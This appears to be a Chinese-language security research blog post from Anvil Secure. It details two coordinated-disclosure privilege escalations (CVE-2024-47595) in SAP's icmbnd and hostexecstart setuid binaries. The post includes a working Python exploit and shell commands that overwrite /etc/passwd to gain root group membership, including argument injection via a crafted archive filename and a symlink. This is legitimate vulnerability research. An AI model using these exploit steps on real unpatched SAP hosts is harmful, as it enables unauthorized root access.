One Bug Wasn’t Enough: Escalating Twice Through SAP’s Setuid Landscape

作者:Tao Sauvage

SAP setuid

能超越你所在公司的 CTO 兼联合创始人,这样的机会并不常有。2020 年,Vincent Berg 发表了一篇博文,描述了他在准备一个客户项目时发现的一个影响 SAP setuid 二进制文件的漏洞。结合不安全的 NFS 配置,他得以在该客户项目中攻陷了十几台 UNIX 机器。

去年,我被分配到同一个客户的一个新的 SAP 相关项目。我给自己定了一个个人目标,即在客户使用的 SAP 软件中找到两个 0day 漏洞(比 Vincent 多一个)。结果成功了,SAP 为这两个问题分配了 CVE-2024-47595!在此过程中,我了解了 SAP 内部机制、SAR 归档,甚至编写了一个实用工具,今天我将发布它:SAPCARve

我发现的漏洞也是从 sapsys 用户到 root 用户的本地权限提升,影响了 setuid 二进制文件。考虑到 sapsys 已经是具有特权的 SAP 用户,因此该漏洞的影响被 SAP 正确地评为中等(CVSS v3.1 评分为 6.3)。

让我们一步一步地从初始侦察到获得 root shell,看看这些漏洞是如何展开的。

侦察

沿着 Vincent 走过的道路,我枚举了我的用户可以在客户端服务器上访问的所有 setuid 二进制文件。Linux 上的 setuid 二进制文件以其文件所有者(在本例中为 root)的权限而不是当前用户的权限运行,这使得它们成为权限提升的理想目标。

枚举显示了四个潜在目标(在删除重复项后):

-rwsr-x---. 1 root sapsys 4.0M May 9 04:52 /usr/sap/hostctrl/exe/hostexecstart
-rwsr-x---. 1 root sapsys 3.7M May 9 04:52 /usr/sap/hostctrl/exe/sapuxuserchk
-rwsr-x--- 1 root sapsys 2.4M May 7 2023 /usr/sap/ABC/D00/exe/sapuxuserchk
-rwsr-x--- 1 root sapsys 3.1M Jun 21 13:16 /usr/sap/ABC/D00/exe/icmbnd
-rwsr-x--- 1 root sapsys 2.7M Jun 11 2020 /usr/sap/DEF/SYS/exe/uc/linuxx86_64/icmbnd
-r-sr-x--- 1 root sapsys 63M Dec 18 2023 /usr/sap/ABC/D00/exe/mdc/hdbmdcdispatcher

考虑到项目的有限时间窗口,我迅速排除了以下二进制文件:

这留下了 icmbndhostexecstart,它们都没有已知的 CVE 或公开的漏洞利用。

我下载了 SAP HANA Express VM 并配置了一个本地环境,我可以在其中更轻松地分析和调试二进制文件,而不会冒损坏客户端基础设施的风险。我手动将 icmbnd 复制到 VM,因为它默认不包含,并重新配置了它的 UNIX 权限以恢复 setuid 位。幸运的是,它可以开箱即用,没有 glibc 版本不匹配或其他问题。

请注意,默认的 hxeadm 用户已经可以使用 sudo 执行任何命令,而无需在 VM 上输入密码:

hxeadm:hxeadm> sudo -l
[ snip ]
User hxeadm may run the following commands on hxehost:
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL

但是,在客户端的服务器上情况并非如此,因此为了我们的目的,我们将忽略这一点,并假设用户无法使用 sudo 运行命令。

目标 1:icmbnd

查看 icmbnd 的用法消息,我们可以指定跟踪文件的名称:

hxehost:hxeadm> /usr/sap/ABC/D00/exe/icmbnd -h
Usage: icmbnd <options>
with the following options:
 -v[ersion] display version info and exit
 -S <ServerPort> listen port of the controlling program (eg. icman)
 -H <hostname> hostname to bind port to (default: all names)
 -l <port for listen> servicename or portnumber
 -p <protocol> protocol to use (HTTP, HTTPS, SMTP)
 -i <virt host idx> index of the virtual host(default: -1)
 -k <keep_alive_timeout> keep alive timeout for this port
 -K <proc_timeout> Processing timeout for this port
 -c verify_client <val> SSL client verification option (0,1,2)
 -t <trace_level> tracelevel (default:1)
 -f <trace_file>] name of the tracefile (default: dev_icmbnd)
 -apptrc append to existing tracefile

考虑到 icmbnd 以 root 权限运行,因此有可能使跟踪文件指向受保护的文件并覆盖它。一个快速检查证实了我们的假设:

hxehost:hxeadm> /usr/sap/ABC/D00/exe/icmbnd -S 6668 -l 6669 -p HTTP -f /etc/passwd
IcmBndConnect: IcmConnect to port 6668 failed (rc=-10)
icmbnd: IcmBndConnect (rc=-10)
hxehost:hxeadm> ls -alh /etc/passwd
-rw-r--r-- 1 root sapsys 1.2K June 17 16:58 /etc/passwd

文件 /etc/passwd 被二进制文件生成的跟踪消息覆盖。在考虑如何利用它(除了明显的拒绝服务之外)时,我考虑在 /etc/passwd 中为具有 root 权限的新用户注入新行。

在与 Vincent 聊天时,他提到 /etc/passwd 的解析非常强大,它会忽略无效条目。只要 icmbnd 的输出包含一个有效的条目,我就可以注入一个新用户。我选择重用我的用户并将其组 ID 更改为 0,从而将其分配给 root 组 ID。

现在的问题仍然是:如何注入新行?使用 Ghidra,我检查了 icmbnd 如何验证参数,并没有看到太多(如果有的话)验证。例如,-l 选项同时支持端口号和服务名称。

一个快速的动态检查证实,我可以在服务名称中插入一个新行,这反映在跟踪文件中。这正是我所需要的。

hxehost:hxeadm> cat run.py
import os

bin2run = '/usr/sap/HXE/HDB90/SYS/exe/uc/linuxx86_64/icmbnd'
# Patching GID for hxeadm in /etc/passwd
passwd = open('/etc/passwd', 'r').read()
patched_passwd = passwd.replace('hxeadm:x:1001:79', 'hxeadm:x:1001:0')
os.execvp(
    bin2run, [
        bin2run,
        '-S', '6668',
        '-l', f'6669\n{patched_passwd}\n',
        '-p', 'HTTP',
        '-f', '/etc/passwd'
    ])
hxehost:hxeadm> python3 run.py
icmbnd: NiListen failed for6669
[ snip ]
wwwrun:x:30:8:WWW daemon apache:/var/lib/wwwrun:/bin/false
hxeadm:x:1001:0:SAP HANA Database System Administrator:/usr/sap/HXE/home:/bin/bash
sapadm:x:488:79:SAP Local Administrator:/home/sapadm:/bin/false
(rc=-8): NIEINVAL
IcmBndConnect: IcmConnect to port 6668 failed (rc=-10)
icmbnd: IcmBndConnect (rc=-10)

检查 /etc/passwd 文件的内容,我们可以看到我们注入的条目,其中 hxeadm 被分配了 GID 0:

hxehost:hxeadm> cat /etc/passwd
---------------------------------------------------
trc file: "passwd", trc level: 1, release: "753"
---------------------------------------------------
[ snip ]
[Thr 139669455066944]
[Thr 139669455066944] *** WARNING => NiServerHandle: parameter invalid (strlenU(pServName) >= NI_MAX_SERVNAME_LEN) [nixx.c 263]
[Thr 139669455066944] *** ERROR => icmbnd: NiListen failed for 6669
at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash
[ snip ]
hxeadm:x:1001:0:SAP HANA Database System Administrator:/usr/sap/HXE/home:/bin/bash
sapadm:x:488:79:SAP Local Administrator:/home/sapadm:/bin/false
(rc=-8): NIEINVAL [icxxbnd.c 620]
[ snip ]

通过启动一个新的 SSH 会话,例如,我们确认了我们的新权限:

hxeadm@hxehost:/usr/sap/HXE/HDB90> id
uid=1001(hxeadm) gid=0(root) groups=0(root),16(dialout),33(video),1000(hxeshm)

目标 2:hostexecstart

第一个目标很快就得手了。然后我检查了 hostexecstart,事实证明它更难利用。

查看 hostexecstart 的用法消息,该目标仅支持有限数量的参数。只有一个参数接受我们可以控制的值:

hxehost:hxeadm> /usr/sap/hostctrl/exe/hostexecstart -h
usage: hostexecstart [option]
option:
 -start: start the SAPHostAgent if not running.
 -restart: stop SAPHostAgent if running, and restart it.
 -status: return the status of SAPHostAgent (running/stopped)
 -upgrade <archive>: upgrade SAPHostAgent using the SAR archive <archive>

例如,startrestartstatus 选项可能容易受到竞争条件的影响。尽管如此,我认为 upgrade 选项更有趣,因为它接受我们可以控制的存档路径。

我想:为什么不创建一个包含后门的 SAR 归档,并将其提供给 hostexecstart 呢?只有一个小的(好吧,主要的)障碍:SAR 归档已签名,并且在提取任何文件之前会验证其签名。

在我详细介绍 SAR 归档是什么以及它们是如何签名之前,让我们看看 hostexecstart 如何使用存档路径。

存档路径首先传递给另一个名为 saphostexec 的二进制文件,该文件构建以下命令:

/usr/sap/hostctrl/exe/saphostexec -upgrade -archive <archive> -verify

我检查了是否可以控制从哪里加载 saphostexec,但这行不通。

hostexecstart 依靠 argv[0] 来检索当前目录。我们可以使用一个包装脚本来伪造它,该脚本更改 argv[0] 的值并指向任意位置。但是,hostexecstart 随后会检查二进制文件及其目录是否归 root 所有,我无法绕过这一点。

然后,saphostexec 构建一个最终命令来调用 SAPCAR 二进制文件:

/usr/sap/hostctrl/exe/SAPCAR -manifest "/usr/sap/hostctrl/work/archive/SIGNATURE.SMF" -V -xfvs <archive> -R "/usr/sap/hostctrl/work/archive"

请记住,这些命令不是在 shell 环境中执行的,因此无法链接 bash 命令(例如,使用 && id)或使用命令替换(例如,使用 $(id))。

让我们分解一下最终命令:

archive 路径执行的唯一检查是文件是否存在。没有其他验证。因此,可以注入将被 SAPCAR 处理的参数。唯一的限制是它不能包含任何正斜杠(UNIX 文件名中唯一禁止的字符)。

回到用法消息,有一个参数很突出:

-L FILE    : use security library FILE for signature operations
        (default: libsapcrypto.so)

使用 -L,我们可以加载我们自己的库并绕过签名验证。这正是我要找的。不幸的是,这又是另一个死胡同。

当指定 -L 时,SAPCAR 使用 dlopen 加载库。请记住,我们不能在注入的参数中包含任何斜杠,因此充其量我们可以注入 -L libdummy.so(但不能注入 -L ./libdummy.so)。

SAPCAR 在标准系统目录(如 /lib64//usr/lib64/)中查找,但不在我们的当前目录中查找。我们无法将其植入 SAPCAR 的目录中,因为它归 root 所有,并且我们无法使用 LD_LIBRARY_PATH 环境变量,因为 setuid 二进制文件会忽略它。如此接近,却又如此遥远……

我想,好吧,签署我自己的 SAR 归档有多难?嗯,即使到了今天,我仍然无法签署我自己的。如果有人弄清楚了,我很想听听!下面是我的尝试。

签署 SAR 归档

让我们一起深入了解一下 SAR。SAR 格式是 SAP 开发的一种专有的存档文件格式。SAPCAR 实用工具可用于创建和提取 SAR 归档。

$ SAPCAR -tvf test.sar
SAPCAR: processing archive test.sar (version 2.01)
-rwxrwxrwx      5  27 Mar 2025 15:19 test.txt
-rwxrwxrwx      9  27 Mar 2025 15:21 test2.txt

文件格式具有相当简单的块结构,每个块包含一个压缩的数据块,这些数据块以前被其他人逆向工程和记录过。每个文件都包含元数据,例如文件名、其权限和时间戳等。在 OWASP pysap 项目 中有一个工具可以创建和解析 SAR 文件。

SAPCAR 还允许签署 SAR 归档。我没有找到关于该主题的太多公开文档。从我使用 Ghidra 和 GDB 收集到的信息来看,签名实现如下:

下面是来自 SAP 提供的官方签名 SAR 归档的此类清单的示例:

SAP-MANIFEST
Version: 1.0
Hash: SHA256
Signature: PKCS7-TSTAMP
Body: Digest | Name-Length | Name

c6e9fb02ab59e7580fcaea6c37ae6ae6f6f5151d4ca8843659a649670fa2f6ee 000a patches.mf
a19098e76e675b2bd1269fa6e44042d71a411019dd3ac56a3487c65408a39ee5 0002 tp

-----BEGIN SIGNATURE-----
[ snip ]
-----END SIGNATURE-----

当从 SAPCAR 读取用法消息时,它会列出以下命令来签署 SAR 文件,这正是我要找的:

sign an existing archive:
SAPCAR -Svf MY.SAR [-L library] [-key PSE] [-pwd PSE PIN] [-H algorithm]

我使用 sapgenpse 生成了一个虚拟 PSE。但是,SAPCAR 命令导致以下错误:

SAPCAR: No timestamp authority set

使用 Ghidra,我找到了一个 -tsaurl 参数,该参数未在用法消息中列出。但是,它再次失败:

$ SAPCAR -key test.pse -tsaurl http://freetsa.org/tsr -Svf test.sar
SAPCAR: error in signature verification (error 60). SSF-RC: SSF_API_OK
Detail: SsfErrorName(5) == "SSF_API_SIGNER_ERRORS", SsfErrorDescription(5) == "A signing operation could not be performed or failed", Last error from SAPCRYPTOLIB: "A signing operation could not be performed or failed" <-- SsfLibAddTimeStampResp() == 5

错误消息对我来说不清楚。设置 SAPMANIFEST_TRACELEVEL=3 环境变量,SAPCAR 将生成存储在 dev_sapmanifest.trc 中的跟踪:

[ snip ]
CCL[VERIFY]: Certificate verification result (failed)
----- BEGIN VERIFICATION RESULT -----
 # --- Messages -----------
 INFO: Verification time - Fri Mar 28 15:04:42 2025                 ERROR: The verified certificate chain is complete but no certificate is trusted.
[ snip ]

尽管我将 CA 添加到我的 PSE 中以使其受信任,但它仍然失败了。我开始明白,只有 SAP 信任的 CA 才能用于签署 SAR 归档。而且我找不到任何与 SAP 的 TSA 服务以及如何使用它相关的公开信息。据我所知,这可能是一项只有 SAP 才能使用的服务。

操纵 SAR 归档

此时,我决定寻找其他方法来滥用参数注入。如果我无法签署我自己的 SAR 归档,也许我可以篡改一个合法的归档?

pysap 项目仅支持 Python2,并且 SAR 归档的工具对于我的测试来说太有限了。因此,正如介绍中所提到的和链接的那样,我编写了自己的工具来解析和操纵 SAR 归档:SAPCARve

SAPCARve 提供了一些方便的命令来操纵 SAR 归档:

$ python3 SAPCARve.py -h
usage: SAPCARve.py [-h] sar {list,extract,add,delete,swap,rename,chmod,merge} ...
SAPCAR manipulation tool

positional arguments:
  sar                   Path to the .sar (or .car) archive
  {list,extract,add,delete,swap,rename,chmod,merge}
    list                List content of the archive
    extract             Extract a file from the archive
    add                 Add a file/symlink/directory to the archive (file, sym, dir respectively)
    delete              Delete a block inside the archive
    swap                Swap two blocks inside the archive
    rename              Rename a file inside the archive
    chmod               Change the permission of a file inside the archive
    merge               Merge two SAR archives by appending blocks from one to the other

options:
  -h, --help            show this help message and exit

我针对 SAP 签署的合法 SAR 归档执行了多个测试:

这些都导致签名验证失败。例如,当向签名归档附加一个新文件时,SAPCAR 返回以下错误:

$ SAPCAR -V -xvf test.sar
SAPCAR: processing archive test.sar (version 2.01)
x patches.mf
x test
x tp
SAPCAR: error during certificate revocation check (error 61). SSF-RC: SSF_API_OK
Detail: CRL missing. Download and use CRL from https://tcs.mysap.com/crl/crlbag.p7s
File >test< was not found in manifest

看到文件名“test”反映在响应中,您可能会对 icmbnd 有似曾相识的感觉。事实上,一个快速测试证实,文件名可以包含任何字符,包括新行。

为了利用这一点,我们可以使用 -e 选项将输出重定向到 sapcar_output。我们还创建从 sapcar_output 到我们的目标文件 /etc/passwd 的符号链接,并注入我们修改后的内容:

-e      : redirect output from stdout to file sapcar_output

为了准备恶意 SAR 文件,我使用 SAPCARve 将合法 SAR 归档中的一个文件重命名为 /etc/passwd 文件的内容,并对其进行了修补,以将我的 GID 设置为 0:

$ python3 SAPCARve.py test.sar rename 0 "aaaa
> $(cat passwd_patched)
> # bbbb"
SAR archive version: 2.01
Number of files: 3
    0: -rwxrwxr-x 300    aaaa
at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash
[ snip]
hxeadm:x:1001:0:SAP HANA Database System Administrator:/usr/sap/HXE/home:/bin/bash
sapadm:x:488:79:SAP Local Administrator:/home/sapadm:/bin/false
# bbbb
    1: -rwxrwxr-x 10575444 tp
    2: drw------- 4922   SIGNATURE.SMF

在服务器上,我们将我们的恶意 newline.sar 归档放在一个目录中,创建符号链接并创建一个包含我们注入的选项的文件(请记住,hostexecstart 会检查文件是否存在):

hxehost:hxeadm> ln -s /etc/passwd ./sapcar_output
# This filename injects -e as parameter into SAPCAR to enable file overwrite.
# The -y option is used to consume the remaining options appended by `saphostexec`
hxehost:hxeadm> touch 'newline.sar" -e -y '

最后,我们调用 hostexecstart 来触发漏洞利用:

hxehost:hxeadm> /usr/sap/hostctrl/exe/hostexecstart -upgrade 'newline.sar" -e -y '
Executing: /usr/sap/hostctrl/exe/saphostexec -upgrade -archive newline.sar" -e -y -verify in /hana/shared/HXE/HDB90
Upgrade service
Files authenticity will be verified
Extracting archive
ExtractHostagentSAR: Executing: "/usr/sap/hostctrl/exe/SAPCAR" -manifest "/usr/sap/hostctrl/work/archive/SIGNATURE.SMF" -V -xfvs "/hana/shared/HXE/HDB90/newline.sar" -e -y ," -R "/usr/sap/hostctrl/work/archive"
[WARNING] ExtractHostagentSAR exit with status 61
[OK] ExtractHostagentSAR: Archive directory '/usr/sap/hostctrl/work/archive' added to delete list.
[ERROR] Extract Archive failed.

正如预期的那样,提取失败了,但是 /etc/passwd 的内容现在包括 SAPCAR 的输出:

hxehost:hxeadm> cat /etc/passwd
SAPCAR: processing archive /hana/shared/HXE/HDB90/newline.sar (version 2.01)
SAPCAR: error during certificate revocation check (error 61). SSF-RC: SSF_API_OK
Detail: CRL missing. Download and use CRL from https://tcs.mysap.com/crl/crlbag.p7s
File >aaaa
at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash
[ snip ]
hxeadm:x:1001:0:SAP HANA Database System Administrator:/usr/sap/HXE/home:/bin/bash
sapadm:x:488:79:SAP Local Administrator:/home/sapadm:/bin/false
# bbbb< was not found in manifest

我们可以再次通过启动一个新的会话来确认我们的新权限:

hxeadm@hxehost:/usr/sap/HXE/HDB90> id
uid=1001(hxeadm) gid=0(root) groups=0(root),16(dialout),33(video),1000(hxeshm)

结论

在客户项目中尝试超越我的 CTO 兼 Anvil Secure 的联合创始人是一个有趣的挑战。除了涵盖原始范围外,我还能深入研究 SAP 软件,并发现和利用两个 0day 漏洞来获得 root 访问权限。

在获得客户的批准后,我们代表他们与 SAP 启动了协调的漏洞披露流程。几个月后,SAP 确认已为他们的客户提供了一个补丁,并为这两个问题分配了 CVE-2024-47595

这种工作(深入挖掘、迷失在兔子洞中、解决难题和构建工具)是我作为安全工程师最喜欢的部分。这是创造性思维闪耀的地方。

我非常喜欢它,以至于在准备这篇博文时,我决定重做几个测试来整理一些未完成的事情。然后更多的测试……哦,那是什么?那看起来很有趣。让我们深入研究这个新的兔子洞。还有那个。我现在已经开始与 SAP 进行另一个协调的漏洞披露流程,其中包含一批新的漏洞。所以……未完待续?

关于作者

Tao Sauvage 是 Anvil Secure 的首席安全工程师。他喜欢在任何他能接触到的东西中发现漏洞,尤其是在涉及到嵌入式系统、逆向工程和代码审查时。

他之前的研究项目涵盖了移动操作系统安全,为 Android 带来了多个 CVE,以及风力发电场设备,创建了一个针对 Antaira 系统的概念验证“蠕虫”。

他曾经是 OWASP OWTF 项目的核心开发人员,这是一个进攻性 Web 测试框架,并维护 CANToolz,这是一个用于黑盒 CAN 总线分析的 python 框架。

PrevBehind the Scenes at Hammercon 2025: The CTF Challenge

工具

awstracer - 一个 Anvil CLI 实用工具,允许您跟踪和重放 AWS 命令。

awssig - Anvil Secure 的 Burp 扩展,用于使用 SigV4 签署 AWS 请求。

dawgmon - Dawg the hallway monitor:监控操作系统更改并在安装软件时分析引入的攻击面。请参阅介绍性博文

nanopb-decompiler - 我们的 nanopb-decompiler 是一个 IDA python 脚本,可以从使用 0.3.x 和 0.4.x 版本的 nanopb 编译的二进制文件中重新创建 .proto 文件。请参阅介绍性博文

ulexecve - 一种直接从用户空间在 Linux 上执行 ELF 二进制文件的工具。请参阅介绍性博文

usb-racer - 一种用于对 USB 存储设备进行 TOCTOU 问题渗透测试的工具。

近期文章

我们不仅仅是一支由具有安全专业知识并重视透明度的行业资深人士组成的多元化全球团队。我们是关系建立者,希望了解您和您的业务。

联系我们

206-753-7649

info@anvilsecure.com

security@anvilsecure.com

2125 Western Ave Suite 208

Seattle, WA 98121

关注我们

[ ](https